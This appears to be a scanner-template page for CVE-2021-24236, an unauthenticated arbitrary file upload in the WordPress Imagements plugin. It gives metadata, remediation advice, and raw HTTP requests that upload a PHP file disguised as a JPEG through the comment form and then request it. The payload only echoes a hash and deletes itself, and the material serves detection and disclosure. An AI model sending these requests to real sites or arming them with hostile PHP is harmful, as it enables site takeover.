| Title | WordPress Imagements <=1.2.5 - Arbitrary File Upload |
|---|---|
| Author | pussycat0x |
| Severity | Critical |
| Impact | This vulnerability can lead to remote code execution and compromise the affected WordPress site. |
| Remediation | Update WordPress Imagements plugin to version 1.2.6 or later to fix the arbitrary file upload vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.7493 |
| CVE ID | CVE-2021-24236 |
| CWE ID | CWE-434 |
| Tags | cve2021 cve wp unauth imagements wpscan fileupload wordpress wp-plugin intrusive imagements_project vuln |
WordPress Imagements plugin through 1.2.5 is susceptible to arbitrary file upload which can lead to remote code execution. The plugin allows images to be uploaded in comments but only checks for the Content-Type in the request to forbid dangerous files. An attacker can upload arbitrary files by using a valid image Content-Type along with a PHP filename and code.
POST /wp-comments-post.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 1246
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Accept-Encoding: gzip
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition: form-data; name="comment"
38FGNg9EKEndvVQYEaEKXY1Miin
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition: form-data; name="author"
38FGNg9EKEndvVQYEaEKXY1Miin
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition: form-data; name="email"
38FGNg9EKEndvVQYEaEKXY1Miin@email.com
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition: form-data; name="url"
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition: form-data; name="checkbox"
yes
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition: form-data; name="naam"
38FGNg9EKEndvVQYEaEKXY1Miin
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition: form-data; name="image"; filename="38fgng9ekendvvqyeaekxy1miin.php"
Content-Type: image/jpeg
<?php echo md5("CVE-2021-24236");unlink(__FILE__);?>
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition: form-data; name="submit"
Post Comment
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition: form-data; name="comment_post_ID"
1
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU
Content-Disposition: form-data; name="comment_parent"
0
------WebKitFormBoundaryIYl2Oz8ptq5OMtbU--
GET /wp-content/plugins/imagements/images/38fgng9ekendvvqyeaekxy1miin.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24236.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24236.pcap
N/AN/A